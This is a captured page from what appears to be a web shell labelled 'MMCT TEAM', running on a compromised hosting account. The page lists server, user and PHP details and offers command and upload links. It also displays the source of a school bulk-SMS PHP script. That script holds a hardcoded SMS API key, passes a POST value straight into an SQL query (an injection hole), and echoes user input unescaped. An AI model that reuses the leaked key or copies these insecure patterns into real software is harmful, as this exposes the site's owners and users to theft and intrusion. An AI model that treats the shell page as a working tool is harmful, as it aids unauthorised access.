MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/src/../img/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/src/../img/../bulksmsprocess.php
<?php 

    // First we execute our common code to connection to the database and start the session 
    require("common.php"); 
     
    // At the top of the page we check to see whether the user is logged in or not 
    if(empty($_SESSION['user'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: login.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to login.php"); 
    } 
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 
?> 



<?php


include_once 'sms.php';
 class MainSms
    {
        public function call()
        {
        	include "config/config.php";

        	$api= "Ab1f78757582d0fd32056f37ccbeea581";
$id = "TEACHR";
$url = "http://alerts.solutionsinfini.com/api/v4/?";

$op=$_POST['option'];
$me=$_POST['message'];
echo "$me";
$message=urlencode($me);
if($op == "bulk")
{
$sql1="select * from `stud_basic`";
$res1=mysqli_query($con,$sql1);
while($res=mysqli_fetch_array($res1))
{

	$to=$res['Phone'];
	//echo "$to<br>";


            //instantiate a new Sms Rest Client with argument api,senderID,base_URL.
            $sms     = new Sms("$api","$id" , "$url");
            $dlr_url = 'https://solutionsinfini.net/dlr/trigger.php?sent={sent}&delivered={delivered}&msgid={msgid}&sid={sid}&status={status}&reference={reference}&custom1={custom1}&custom2={custom2}';

            $obj = $sms->sendSms("$to", "$message", [
                //'dlr_url' => $dlr_url,
                //'time'    => '2017-06-11 11:17:55 AM',
                //'unicode' => '1',
                //'flash' => '1',
                //'format'  => 'json',
                //'port'    => '8223',
                ]);


           // echo '<pre>';
            //print_r($obj);
              header('Location: bulksms.php');
  
}
}
else
{
$sql1="select * from `stud_basic` where `Class` = '$op'";
//echo "$sql1";
$res1=mysqli_query($con,$sql1);
while($res=mysqli_fetch_array($res1))
{

	$to=$res['Phone'];
	         	//echo "$to<br>";


            //instantiate a new Sms Rest Client with argument api,senderID,base_URL.
            $sms     = new Sms("$api","$id" , "$url");
            $dlr_url = 'https://solutionsinfini.net/dlr/trigger.php?sent={sent}&delivered={delivered}&msgid={msgid}&sid={sid}&status={status}&reference={reference}&custom1={custom1}&custom2={custom2}';

            $obj = $sms->sendSms("$to", "$message", [
                //'dlr_url' => $dlr_url,
                //'time'    => '2017-06-11 11:17:55 AM',
                //'unicode' => '1',
                //'flash' => '1',
                //'format'  => 'json',
                //'port'    => '8223',
                ]);


           // echo '<pre>';
            //print_r($obj);
                           


}
}
 }
 }
  $main = new MainSms();
    $main->call();
     header('Location: bulksms.php');
?>

MMCT - 2023